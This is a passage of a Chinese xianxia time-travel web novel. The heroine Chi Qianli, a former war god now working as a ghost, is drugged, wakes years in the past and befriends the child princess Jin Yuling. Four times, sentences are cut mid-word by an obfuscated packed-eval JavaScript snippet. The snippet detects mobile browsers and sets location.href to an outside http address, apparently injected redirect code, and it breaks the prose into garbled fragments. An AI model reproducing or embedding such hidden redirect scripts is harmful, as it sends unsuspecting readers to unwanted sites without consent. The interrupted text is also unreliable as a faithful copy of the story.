池千鲤没有接下话茬,只是反问:“那不知陛下想让草民我做什么呢?草民对朝政一无所知,在这件事儿上怕是帮不上陛下的忙。” 金鳞深吸一口气,一字一顿地道:“不知池姑娘可愿入朝为官,助我一臂之力?” 池千鲤不假思索:“草民不愿。” 金鳞似乎没想到池千鲤拒绝得这么不给面子,当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412405|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆愣在座位上。 过了几个呼吸,她求助地望向窗外。 池千鲤:“……” 找帮手找得好明显!不再试着劝劝吗! 裴明镜跃入室内,反手关窗,似乎对方才发生之事早有预料,退一步道:“若是池姑娘不愿,那便罢了。我来送送池姑娘吧。” 池千鲤做了个请的手势,两人同出门去。 “监兵神君可有什么想同我私下说的?”池千鲤笑笑。 裴明镜也微微一笑:“只是一直有个疑惑,想让池姑娘解答。” “监兵神君请说。” “我一直看不清池姑娘的修为。”裴明镜凝视着池千鲤,“可否一问,池姑娘法号为何?我也想知道,到底是谁的修为,我看不清楚。” “……” “若是唐突,池姑娘便当没听到便可。”裴明镜移开视线。 两人一前一后地走着,直到过了朱雀台,池千鲤示意裴明镜可以回去了。 裴明镜遗憾地笑了笑,转过身去。 “凌霄。”池千鲤突然开口。 “什么?”裴明镜没有听清。 “我的法号,叫凌霄。”池千鲤停下脚步,转过头来,银质的面具在月光下宝华闪闪,却看不清面具下的神情,“在你之前的天庭第一武神,凌霄元君。” 裴明镜瞳孔骤然收缩,再想叫住问时,池千鲤却早已远去。 池千鲤的确有心事。 她一边走出去,心里一边盘算着,总觉得算漏了一些什么,从听到太子一党的事情开始,心里就越来越不安。直到现在,那种不安越来越明显。 连轴转的工作让她头脑一片混乱,池千鲤揉着自己的额角,抬腿走出去,一边走,还在一边想。 大理寺卿……监兵神君之师……太子一党……魔族…… ……魔族? 不对! 池千鲤猛然一惊,魔族!这么大的事情她怎么能忘! 大理寺卿是太子一党,太子党已经勾结魔族了! 池千鲤心一颤,撩起裙摆就转身往回跑。 金鳞有危险!她得赶紧去! 眼下池千鲤已经把之前的狠话,什么不愿入朝,什么毫无干系,都忘得一干二净。 金鳞不能死!谁都不能…… 池千鲤的视野逐渐模糊起来,她敏锐地感觉到自己身体不对,暗叫一声不好。 是迷药?什么时候的事? 可她是鬼,怎么可能被迷药放倒?这不对,这不合理! 脚下逐渐虚浮,方向渐渐不明。 “扑通——” 池千鲤在倒在地上,视线已经快要被黑暗占据,但仍然用手扒着青石路,拍打着试图让人听见自己的声音。 有人吗?有人吗? 快弄醒我,别让我睡过去,我要救人,我要救人。 这个世界上有人有危险,我要爬起来,我要救她们,我要救她们…… 谁都不能……谁都不能在我的眼前不明不白地去死…… ……谁来救救我……谁来救救她…… 救…… 此刻已近深夜,她已走出一段距离,万籁俱寂,了无声息。 池千鲤这一千年来,再一次感受到无能为力。 失去意识的前一刻,她不甘地仰着头,最后看了一眼苍天,一滴什么东西顺着她的下颚落下。 只有狂风不祥地拍打着树杈,吱吱呀呀地摇晃,预示着山雨欲来。 8. 何走无常何处为家 “扑通——” “不好了!”上面传来一个熟悉却惊慌失措的叫声,“有人落水了!” 池千鲤在意识迷糊间,听到这么一句话。 很难受,四周像是有一股无形的巨力,拖着她往下坠,像是深渊张开巨口,等待着她往下堕落。上方有一道刺眼的光,刺得池千鲤眼睛都微疼。 她第一反应是去挡住自己的眼睛,却在听到有人落水的呼救时,下意识地四处张望。 噗通噗通地,又有人接二连三地往下跳。池千鲤才缓缓反应过来。 哦。 原来是我落水了? 她想张嘴说,不用麻烦。 我自己会游泳,我能自己爬上去,却咕噜咕噜吐出几串气泡,呛得自己胸口生疼。 不对吧,我不是鬼吗?我不是不会受伤、无所不能吗?池千鲤意识模糊间,又涌上来这个念头。 不对,池千鲤又想了想,不对。 我不是鬼。 我是什么? 一个被贬下凡的仙?一个还没死成的鬼?一个宁死不从的魔?一个长生不老的人? 池千鲤恍惚意识到,原来没有一个概念匹配自己,没有一个族群容得下自己。 她是个怪物。 一个一直徘徊在过去的、眷恋守护着执念的、执着救下每一个在意的人的、却从没有成功的怪物。 池千鲤突然意识到,自己好像是一个很可悲的生物,如果是从前的仇人,看到她这个样子,只怕会拊掌大笑出声来。 她很想沉入水底。 池千鲤觉得好累,原来怪物也会累。 “姑娘,”恍惚间,池千鲤听到有人焦急却模糊的呼唤,“姑娘?!” 她想张嘴说,不用麻烦。 不用麻烦,我本人也不是很想活。不要为了我这个怪物浪费力气了。 潜下水来救池千鲤的人们面面相觑,他们不约而同地向池千鲤伸出手,拍打她,摇晃她,拉起她。 人类叫不醒想自毁的怪物。 这些人理所当然地一败涂地。 但他们没有放开她,只是对视一眼,同心协力地去拉扯、去拖拽、去托举。 很快有人支撑不住了。 一个看上去像小太监的年轻人咕噜咕噜地吐出了最后一口氧气,神情变得痛苦,变得狰狞。 再然后是第二个、第三个、第四个,是嬷嬷、是宫女、是小侍卫,但仍然没有人放开她的手。 池千鲤静静地看着。她很想哭,她想说,你们好傻呀。 人为什么会为了救一个怪物而拼命呢? 强大而懦弱的怪物沉默了一下,终究还是怜悯地放轻了想要放弃的身体。于是弱小却坚定的人类如逢大赦,一双手,两双手,三双手聚集起来,它们把她往上托,托得越来越高,越来越高,朝着有光亮的地方去。 无数双手把她托回了人世间。 “哗啦——” “得救了。”一个老嬷嬷松了一口气,随即欢呼道,“得救了!” 人群热闹起来,喧嚣起来,池千鲤眨了眨眼,伸手挡住了明烈的太阳,她不是很懂这些人在高兴什么。 “喂,喂!”一个很眼熟的脸凑过来,担忧地晃晃手,“你没事吧?” 池千鲤有些愣神。 这是一个很可爱的小姑娘,十二三岁大,脸上还未脱稚气,圆头圆脑圆眼睛圆鼻头,像个布娃娃。她穿得很华贵,但金簪玉钗压在她尚未长成的脖颈上,有种小孩偷穿大人衣服的沉重感。 “哎!哎呀!”小女孩一跺脚,“你是不是脑子被水淹傻了?” 她严肃地用两只手各比了一个一:“我问你,一加一等于几?” 池千鲤怔怔地出声:“金鳞?” “什么金陵!”小一号的“金鳞”一拍大腿,“等于二!” “我再问你,”疑似金鳞的小女孩严肃道,“一加二等于……” 池千鲤噌的一下站起来:“如今是东越多少年了?” 小金鳞指着她对后面赶来的人确定道:“没救了。” 池千鲤没空理她,她现在脑子一片混乱。 刚刚……哦对,刚刚自己被放倒,晕过去了。 不过现在没空懊悔了,现在是个什么情况?她一觉醒来……穿越到了先帝时期? 小金鳞带着一行人,浩浩荡荡地说要去请太医了,让她在这待着别动。 池千鲤怔愣片刻,慢慢站起身来,往湖里望去。 戴面具戴了千年了,这一下重新看见自己的脸,居然有些陌生。 湖中之人鼻梁高挺,剑眉星目,轮廓利落,极为英气,又带着几分少年气的清朗,即使刚从水里捞出来,下颔还在往下滴水,也不掩其气似山河。若是没有那横穿全脸的一道伤疤,谁还能不赞一句好一个英武俊朗的美少年。 而这道伤疤,要说也有些古怪。 它从左眉间贯穿至右颔,伤口粗得有些异常,看走向明显是剑伤,却比刀斧伤更粗一些。而且细看,伤口边缘还诡异地有羽蛇的图腾,米粒大的那么一小点,但却一圈一圈,不祥地重复盘绕在伤口周围。 这伤是老伤了,早已结痂脱落,池千鲤也快要忘掉它了,只不过甫一看到,伤口还是隐隐作痛。 池千鲤很快就收回了目光,她现在没有空管自己又有点疼的陈年老疤,只急着想知道到底是怎么穿越过来的,以及怎么才能回去。 “哎!?”这突然出现的声音神神叨叨的,把池千鲤吓了一跳,“怎么召唤来的人是凌霄!” 听到这个声音,池千鲤有些恍惚,心道今天是怎么了,熟人一个接一个地来,转身叹道:“凌波?” 被称为凌波的这个人……怎么说呢,似乎不太正常。 头发乱糟糟,衣裳乱糟糟,扣着个大斗篷,仔细看,两只鞋穿得都不一样。眼下她正捣鼓着一只里面好像装着万千星辰的圆球,很是好看,不过与她那一身不拘小节的打扮并不适配就是了。 半透明的洛凌波敷衍地点了点头,继续捣鼓她那个漂亮的球:“工作时间称职务!” “……司命。”池千鲤咬牙,“是你把我弄来的?快把我弄回去!我真的有急事!” “无能为力。”洛凌波一打响指,那个星辰球消失得无影无踪。她摇摇头说:“这是命运把你召唤过来的,可不是我主动,况且我也有急事儿呢。” “……那你把我弄回去,你自己也回去,我们都各忙各的急事不就行了?” “我都说了这是命运的安排,”洛凌波突然凑过来,竖起一根手指,神神叨叨地晃一晃,“你须得领悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412406|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命运的真谛,完成时空闭环,否则就回不去。” 池千鲤没辙了。 千年之前,全天庭上下,没一个人能拿她池千鲤怎么样,除了洛凌波。 这家伙任司命星君一职,据过去的池千鲤所言就是算命的。 偏偏还算得准。 小池千鲤只要一吓唬她,她就掏出那个球,绕着小池千鲤开始又蹦又跳,嘴里还念念有词一些怪话,每次都吓得小池千鲤哭着跑了。 池千鲤叹气:“如果硬要回去呢。” 洛凌波一摊手:“那时空闭环不了,世界就崩塌了呗。” “不过你别急,”洛凌波看池千鲤急,大发善心地补充道,“按照常规,我应该会陪你找到命运留下的线索,指导你通关主线任务。” “是嘛?”池千鲤眼睛一亮,“好好好,那我们快找,从哪里开始找起?池塘还是房顶?” “但我说了是按照常规,”洛凌波两手一摊,“我现在真有急事,所以你自己找吧。” “?”池千鲤愣住了,急道,“可是……” 可哪里还有司命星君的影子。 只留下一句小声的喃喃自语: “未来出事了?得快点去看看……” 池千鲤一个人在原地目瞪口呆。 还可以这么做事的吗? “哎呀!”背后又传来声音,是小金鳞。 “你怎么在这里了?不是跟你说了不要乱动了!太医!还有你们两个,快扶着她到本公主宫里去!” “我没……” “闭嘴。” 池千鲤闭着嘴木着脸,绝望地被抬走。 接下来的三天,池千鲤只要一想坐起来,就会被人摁回去,然后递一碗暖茶姜汤热粥。 谢谢你们的好意,池千鲤觉得异常苦涩,可是我是练家子。 我一点事情都没有。 而且我有急事,我要起来! 第三天,池千鲤强硬地站了起来,结果被闻声赶来的小金鳞一顿骂,又给摁了回去灌了三大碗姜茶。太医赶过来,心痛地说她身子本来就弱,遭了这一劫,怕是不好,如今站起来,那叫回光返照! 池千鲤:“……不是这样的。” 庸医抚着山羊须叹道:“听听,都说胡话了。” 小金鳞严肃点头。 于是池千鲤又被按在床上躺了五天。 感觉关节都要生锈了。 第十天,庸医终于说池千鲤能站起来了。 她发誓回去第一件事情就是勒令金鳞开除那个庸医,看得还没洛凌波算得准。 池千鲤刚站起来准备在院子里溜达两圈,却发现周围的宫女都向自己投来…… ……感激的目光? 几番询问,才知道小金鳞把她当成了跳湖自尽的宫女,一看她脸上那么大一条疤,认定是内务府的老妈子们教训人太狠,把她打成这样,使她疼痛难忍,想要一死了之。于是气愤异常,添油加醋地把池千鲤的伤势跟她母后描绘了一番。皇后娘娘大怒,下令严查宫内欺下瞒上之风,宫女们最近涨了俸禄,活儿还少了,把一切的源头——也就是池千鲤当成了活菩萨。 十天没起来,故事已经被编好的池千鲤:“……” 好吧,起码是个好的开局,没被人怀疑是刺客。 9. 鬼装神巧笑戏公主 夜已渐深,月明星稀。 池千鲤几个横跳,无声无息地跃到安乐宫的顶部,开始打坐修炼。 距离她来到这个时间点已经近一个月,这些天来,她试过各种方法,往各处寻找回去的线索,或者时空之阵的蛛丝马迹,却始终不得其意。 时空之阵,一个只存在于传说中的古老法阵,池千鲤也没想到,自己这辈子还真能遇见这等奇事。 她在古籍中读到过,时空之阵把你传送到的地方,一定是有时空裂痕需要修补的地方。换句话来说,就是这个时间点里,必须有她的存在,有她的力量推动,时间逻辑才能成立。 并且若是把她传送到皇宫,则需要完成的任务一定在皇宫内,所以她还真就得栽在宫里找任务。但满宫就这么大,池千鲤几个晚上就能摸透,并没有什么不寻常的地方,一切都在稳定发生,她实在摸不着头脑。 更可恨的是,那个不靠谱的洛凌波,居然真的通灵不到了,一发起通灵,大脑里的界面就自动显示一个红色感叹号: 【对方不在当前时间线,无法通灵哦】 池千鲤气得嘴唇哆嗦。 半个月过去,她也死心了,彻底安生下来,居然老老实实地在宫内打起了工,做了一名小宫女。 反正在地府也是打工,都打工打了一千年了,社畜换个地方打打工就当换换环境了。在小金鳞看不到的地方,她还能偷个懒用法术干活,比如使个洁净咒打扫后院。 噢,对了,池千鲤已经彻底肯定这个小姑娘是金鳞,而不是什么别的朝代更久远时间点上的公主了。虽然大家都是叫她二公主,从未有人唤过名讳,但她说话做事跟十几年后一样不靠谱,甚至经常逃课,她母后这个月都来她宫里训诫了好几次了。 池千鲤正式确定自己穿越到的只是十几年前的时候,还微微放心。毕竟是和自己所处时间比较近的过去,人会本能地涌出一股亲切感,觉得离“故乡”不是那么远。 四个时辰过去,天边已经旭日初升,池千鲤睁开眼睛,动作轻灵地跃下屋顶,条件反射地去扶脸上的面具。 ……噢,面具没穿越过来。 大概因为那副面具是特制的,并且太有辨识度,三界五族仅此一副,还是她入职时老谢送的。 池千鲤想着想着,思维发散,慢慢出了神。要不改天去问问这个时间点的老谢老范呢?可是要是一不小心撞到了这时的自己,会发生什么后果?她记得很清楚,十年前的自己可没有遇见过什么怪事儿,时空无法闭环,会因此而崩塌吗? 池千鲤叹息一声,将这个想法暂且搁置,不仅是因为害怕造成时空错乱,还因为在宫里面打工每天都要报道打卡,不能迟到早退,比地府管得严多了,活动极其不自由。 ……还是得想个办法升职才行。 安乐宫主殿内窸窸窣窣地有了动静,池千鲤回过神来,施了个隐身咒,半蹲在屋檐上等待来人走过。 是金鳞,她偷偷摸摸地跑出来,望望四周,飞也似的往御花园的方向跑去。 池千鲤都习以为常了。 这小孩每隔两天就要一大早跑出来,不是去御花园采花,就是去御膳房觅早点的,并且新理由层出不穷。起先池千鲤疑神疑鬼,怕她摔进河里碰到灶头死掉打乱时空,还会偷偷在后护送。不过后来就不会了,这孩子太皮实了,很是难杀,根本死不了,掉进湖里几个呼吸就爬上来了。 从金鳞昨天的自言自语看来,今天多半是去御花园,采清晨的露珠喝。 这孩子好奇心从小就重。 等等。 池千鲤一挑眉,像拉进度条似的把自己的思绪回放。 好奇心重? 不多时,池千鲤微微一笑。 升职什么的,她有办法了。 金玉泠四下张望,确定没人后,鬼鬼祟祟地跑回来。 她听伴读昨天讲了,清晨的露珠可好喝。但她从没喝过,今日须得亲自去弄几滴喝一口才好。 “嗖——” 一道白影掠过,身形鬼魅,像是个人影。 金玉泠一下子停下脚步,惊愕地揉揉眼睛,吓得一动都不敢动。 没有动静。 金玉泠小心试探着走了两步。 依旧没有动静。 她拍拍心口,心道一定是看错了,许是哪宫娘娘养的猫啊狗啊之类的跑过去,不由得嘲笑起自己虚惊一场来,宫中最是守卫森严,哪会有奇怪人影呢? 她大胆地继续在小道上走起来,刻意避开了有侍卫值守的大路,不然被逮到又要被母后骂。 “嗖——” 一道白影掠过,这影子是个高挑清瘦的女子身形,气质不凡,是金玉泠说不出的感觉,这人甚至还侧目看了她一眼。 没看错! 金玉泠吓得哇哇乱叫:“有刺客!有……唔!” 话音未落,一只冰凉的手堵住了嘴,她吓得一激灵,心道不好,周围没有侍卫,如今又是一大早,干活的小宫女小太监还没出来,地又偏僻,一个人都没有。 这人看上去功法了得,怕不是北燕御用的杀手!北燕人多凶猛高大,她一个手无缚鸡之力的小孩肯定打不过。东越又与北燕向来不和,她这回怕是要完蛋! 不!她猛地睁开眼睛,更糟糕的是,也许这杀手并不会杀了她,而是绑架她做人质,逼迫父皇母后割地让城! 这绝对不行!士可杀不可辱!我东越绝不会让出一寸国土! 池千鲤惊悚地看着怀里的小金鳞挣扎一番,思考一会儿,随后露出大惊的神色,一头就要往旁边的石墩上撞。 她立即反手制住金鳞,把她双臂反剪,小心翼翼地没有伤到这小破孩。 这小孩还要挣扎,一副英勇就义以死明志的态度。 ……有的时候真是不明白金鳞这家伙到底在想什么,小时候和长大后都是! “停。”池千鲤无奈地松开捂住她嘴的手,拍拍小牛一般往墙上冲的金鳞,“你在干什么,二公主?” 金玉泠根本没听清这人在问什么,大吼一声:“卑鄙蛮夷!你想得美!我绝不让你得逞!就算是死,也绝不让你动我大越国土一分一毫!” 池千鲤:“……” 啊? 与此同时,金玉泠突然觉得这声音有些耳熟,怔了一下回头看去。 当池千鲤的脸出现在眼前时,她大脑反应片刻,大叫一声:“是你!鱼鱼!” “……什么鱼鱼,”池千鲤无奈地第二十九次纠正,“二公主,我叫千鲤。” 池千鲤就不明白了,告诉金鳞假名,她很乐意用,这次告诉她真名了,反倒编出了这个不知是小名还是外号的东西! “没有区别!”金玉泠再次大叫,“鱼鱼!你居然是北燕卧底?!枉我从湖里把你捞……” “二公主,”池千鲤叹气道,“我不是北燕卧底,只是一名修士,恰巧被您碰见,这才匆匆逃跑。” 面对金鳞这种不知道到底是脑子不转弯,还是转了太多弯,反正思路很清奇的,池千鲤只能把话说明白,放弃让她自己猜的想法。 果然,金鳞的大叫声戛然而止。 她目瞪口呆地上下打量了一眼池千鲤:“……修士?” 此刻二公主的大脑飞速运转。 对呀。 池千鲤高挑,但并不威猛,听说那北燕人个个壮得如牛一般,这也不像呀。 况且池千鲤中原话说得极好,这北燕族可一向说他们自己的方言,汉文该说得磕磕巴巴才是。 最重要的,她面色白净,眉眼朗朗,活脱脱一个中原姑娘的模样,燕族人脸多发黄,生得更是粗眉小眼,完全没有半点相似啊! 而且,修士。 没错,金玉泠总算知道池千鲤身上那股说不出来的气质是什么了。 完全就是衣袂飘飘!仙风道骨!眉目如画!驾鹤西去啊! 说实话,池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412407|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千鲤如果听到最后一个形容词会被气死,当然,她听不到,这只是金玉泠脑中的遐想连篇。 她居然救下了一位修士! 于是池千鲤眼睁睁地看着金鳞的目光从不可置信,到认真思考,到恍然大悟,现在已经变成了崇拜的星星眼。 “道长!”金玉泠大叫一声,“鱼鱼……啊不是千鲤道长!之前是小的不敬!请您原谅!” “倒也不必……” “道长!请受小的一拜!” 说完金鳞就要行那三跪九叩之礼,被池千鲤一把拦住了。 ……这丫头也太不拘小节了。 不过话说回来,金鳞居然自小没有富贵人家的小姐少爷那种自视甚高的优越感,性格很好,从小就很好,池千鲤认为她母后也是个很好的人。 “千鲤道长,”跪拜不成,眼前的少年又像个狗腿一样的凑上来,“您来宫里是做什么来了?噢我知道!是下山历练对吧?历经了人世间的险恶,才能悟得大道,成功飞升,位列仙班,然后继续与世界上的魔物作斗争……” 金鳞滔滔不绝地讲着,池千鲤嘴角抽了抽。 这孩子话本子看多了吧? 不过这样,总算是按着她的预期发展了。 金鳞好奇心重,但凡池千鲤透露自己的身份不同寻常,她肯定会大为好奇,选择把池千鲤留在自己身边问东问西。这样她作为公主身边的宫女,在打工层也能算半个管理了,不会再有人多来管她,相对自由得多。 看着金鳞期待的眼神,池千鲤还是微微一笑,故作高深地说道:“没错,全被你猜中了,但你不能……” “不能透露给别人!我就知道!”金玉泠兴奋起来,“这和话本子里说的也没多大区别!我保证不说!谁也不说!” 随即她期待地问道:“我看那些修仙话本子里,修士飞升,都会把一路上遇到的贵人带上去做个天兵天将的。道长你看我呢?你飞升可不要忘了我呀!哦对了对了,我叫金玉泠,生辰是正月十五上元节……” 余下的话,池千鲤没有听到,她在听到名讳时突然一惊,后面的话也无心再听了。 金玉泠? 不该是金鳞吗? 池千鲤脸上的笑微微僵住,抓着金玉泠的肩膀问道:“如今是东越多少年了?” 金玉泠起先疑惑,然后想了想,又豁然开朗道:“噢!道长你是闭关太久,与世隔绝,不清楚外头年份是吧!我懂我懂!” “如今是明齐三十三年,我父皇是咱们大越的第四位皇帝,我呢,是我父皇的第二个孩子,第一个女儿,人都称呼我二公主。”她想了片刻,又补充道,“道长你是前朝人还是越朝人?我们大越与前朝的序齿方式不一样,是皇子公主一起序齿。” 池千鲤听着听着,心中渐升疑惑。 都对上了,分毫不差,东越第五位皇帝,天和帝金鳞,第四帝明齐帝第二子,为长女。 难道名字是后面改的? 池千鲤不得而知,不过知道了眼前人确实就是她所熟悉的那个不着调的天和帝后,心中安稳了一些。 只要内里是同一个人就好。 池千鲤一边左右打量,一边听着金玉泠的喋喋不休,时而应和几句。左看右看,她总觉得金玉泠身上少了什么,与她认识的金鳞不太一样。 “我今天就把道长你调到我身边来当值,你不用干活,我们俩多交流交流,嘻嘻……咦?”金玉泠把手平举在双眼上方,望向远处的一个人影,随后惊喜道,“皇兄!” 金玉泠提着裙子一溜烟跑去,池千鲤反应过来时一惊,脸色轻微一变。 皇兄? 先帝太子金清宸? 池千鲤转过身,扮作跟着二公主的贴身宫女的模样,低垂眉眼小跑着跟上去。 待跑到金清宸面前时,池千鲤一个激灵,终于知道金玉泠少了什么东西。 ——代表帝王之气的金光,怎么会在金清宸身上? 10. 鬼装神巧笑戏公主(二) 池千鲤的手笼在袖内死死攥着,眸光一刻也不离开那道耀眼金光,紧紧跟随着金清宸。 这是怎么回事?为什么会这样? 她心中不安渐起。 从古以来,轩辕龙气只会出现在天下之主身上。这天下之主不是人选,而是天定,代表他是天道觉得最适合统领天下的人。这金光从出生开始就伴随着它的主人,随着主人长大,金光更为蓬勃一分,上一任天下之主身上的金光就黯淡一分,直至旧主陨落,新主登基。这龙气凡人看不见,他们得道之人却是可以的。 怎么会这样?这光该在金鳞身上才对! 许是池千鲤的眼神太过炽烈,让金清宸注意到了,少年瞥了她一眼,露出不悦的神色。 池千鲤慌忙回神,几个呼吸间,她神色便平缓下来,即便心中疑虑重重,却再未在脸上表现出半分。 金清宸觉得莫名其妙,一边走一边压低声音同金玉泠咬耳朵道:“你这宫女怎么回事?怎么一直盯着我看?是不是觉得我长得好看?” 说完摸摸自己的脸,显然很有自信。 金玉泠完全没有把兄长的话当回事:“怎么可能,你也太自作多情了。” 金清宸撇撇嘴:“你皇兄我长得也还是可以的,怎么到你嘴里就变成那□□似的?” 两人也没真把这事放心上,没两句就胡咧咧地把这事儿忘到脑后了,又嬉皮笑脸地打闹起来,说天色快亮了,要一起去看日出。 十二三岁的少年的心思真是热烈又轻盈,刚刚才因为碰见传说中的道长兴奋,转头又可以因为同兄长一起看清晨的第一缕日升而欣喜。金玉泠趴在围墙上,两只脚晃荡晃荡,啃着兄长带来的酥饼。金红色的日光暖洋洋地升起来,洒在两个少年尚且稚气的脸上,像人世间一对平凡又普通的兄妹。 “哎,”金玉泠突然想起来,“你这一大早的,到这儿干嘛来了。” “来找你呗,”金清宸不知道从哪里又摸出来一只花卷递给金玉泠,“昨天我听玄宁说,他妹这两天老怂恿你大早上来御花园喝露水,我今天就在宫道上等你了。” 金玉泠一提到这个就生气:“不好喝,还冷,下次不来了。” 金清宸幸灾乐祸:“就知道。” 这两人你一言我一语,聊得不亦乐乎。池千鲤抱臂站在阴暗处,眸光晦涩不明,正百思不得其解。 并且除了龙气归属问题以外,她又发现了一个新问题: 他们两人关系好像还挺好? 明齐三十三年,金玉泠应该已经十三了,金清宸更是已经十六。金玉泠十五登基,按照常识来看,如今应该是两人斗得最水深火热之时。 怎么还你一句我一句地唠上了?有点政敌的样子吗? 思考之间,晨雾已经散得七七八八,兄妹俩说了几句话,跳下矮墙,打算各自去书房上学。 金清宸跳下来的时候,跟池千鲤幽深狠戾的眼光正巧对上。 金清宸:“……” 正在思考如何委婉提醒金玉泠,她哥可能阻挡她的前程的池千鲤:“……” 金清宸一个趔趄差点摔趴在地上,池千鲤飞快移开目光,假装没看到。 “妹,”金清宸颤颤巍巍地抓着金玉泠的手站起来,“我咋觉得你这宫女对我动心了呢?” 金玉泠一听就不屑:“你可别侮……” “动的杀心。” “噢,”金玉泠猛地想起池千鲤的来历,认真地点了点头,“那倒真有可能,你最近做过什么缺德事吗?” “……” 什么叫真有可能! 金清宸骂骂咧咧又哭哭啼啼地跑了,临走前叮嘱金玉泠下次来跟他玩别带这个宫女。 一看就不是什么好人!脸上那疤也看上去凶神恶煞的! 金玉泠热情地挥手表示告别,拉起池千鲤的手走了。 “二公主,”冷不丁地,金玉泠听到身边的高挑少年这样淡淡发问,“您与长兄感情很好?” “对呀对呀,”金玉泠不疑有他,快乐地点头,和盘托出,“宫里老大和我年龄最相近,所以我们两个当然很好!” 随即她有些忧愁地叹了口气:“就是贵妃娘娘和母后关系不好,母后不让我和大哥多玩。” 一路上,金玉泠又唧唧呱呱地打开了话匣子。池千鲤便从这些闲聊中提取有效信息,偶尔回应两声,或者反问一句,然后继续耐心地听金玉泠说一大段。 不多时,池千鲤已经把宫里的人际关系理得差不多了。 明齐帝膝下共有一儿三女,皇长子金清宸,皇次女金玉泠,皇三女金玉满,皇四女金玉沁。其中二公主与三公主为裴皇后所出,大皇子为凌贵妃所出,四公主生母生产时血崩而亡,如今由一位婕妤养在膝下。 “今年老四也开蒙上学了!”金玉泠还在说,“又有人可以陪我玩了!” 话音未落,绕过长廊,已经到了琼华殿,金玉泠跑进去,招呼起了朋友们。 “婉仪!”池千鲤在门外就听见金玉泠快乐的声音,“好久不见!” 池千鲤想了想,屏住呼吸隐去身形,悄悄潜入琼华殿。 “你得了吧!”一名清丽娟秀的少年朝金玉泠翻了个白眼,“昨天才见过!” 金玉泠刚想乐呵呵地跑过去,却突然脸一翻,大不高兴:“你说的那露水一点不好喝。” “什么嘛,”裴婉仪极不乐意地拿帕子甩金玉泠,“明明就好喝。” 小姑娘们吵着吵着,又笑起来了,一室如春。不过池千鲤觉得这两人像极了没头脑和不高兴。 突然,金玉泠想起什么似的,回身去找,却面露疑惑。 池千鲤知她是在找自己,飘到她耳边,轻轻吐了口气。 然后眼看着面前的少年目露惊讶,强忍着好奇没叫出声儿来,不过滴溜乱转的眼睛还是出卖了她的心情。 “你怎么了?”裴婉仪皱着眉头。 “没事没事。”金玉泠回过神来,又看了一眼池千鲤所在的方向,强压着问出来的欲望,若无其事地与身旁的裴婉仪闲聊。 不过十几岁的小孩子嘛,总想把自己的朋友介绍给另一个朋友,终究还是没忍住分享欲,趁着裴婉仪转过身的空档,悄声对刚刚池千鲤的方向介绍:“这是婉仪,是我表姐,大我一岁。” 已经走到另一个地方去的池千鲤:“……” 她想了想,还是不想拂了小朋友的兴,轻轻飘过去,小声地凑着金玉泠的耳朵说:“知道啦。” 小朋友喜笑颜开,池千鲤也跟着微微一笑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412408|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 倏地,池千鲤感觉后背——也就是大门的地方——投下一片小小的阴影,与此同时,金玉泠眼睛一亮,忙招呼道:“老四老四!我给你留了位置!坐我前面!” 金玉沁是个有些腼腆的女孩,她与琼华殿这些世家小姐们不是特别熟,一个人拘谨地坐着,显得有些怯生生的。池千鲤注意到,金玉泠会有意无意地将话题带到金玉沁身上,即使金玉沁大多数时候只能局促地笑笑,或者点点头,无形之间也让其余学生们与她的距离拉近了不少。不过片刻,就有年幼一些的小姐们主动找金玉沁玩了。 金玉泠看到她四妹有了聊天搭子,也悄悄退出,转而继续和裴婉仪小声说话了。 池千鲤挑挑眉,觉得很有趣——她还是第一次看到天和帝对姐妹的这一面。 明齐帝膝下子嗣不多,便特允朝中一些勋贵人家可以把家中儿女送入上书房和琼华殿,与皇子公主一起读书。因而虽金玉泠这辈只有姐妹三人,琼华殿里却也是热闹,小姑娘们都找了自己熟悉的伙伴闲聊,池千鲤看着这些十几岁的小女孩吵吵闹闹,也不觉得烦,心情不错地在室内飘了一圈。 只是左看右看,却没看到疑似三公主的女孩儿出现。 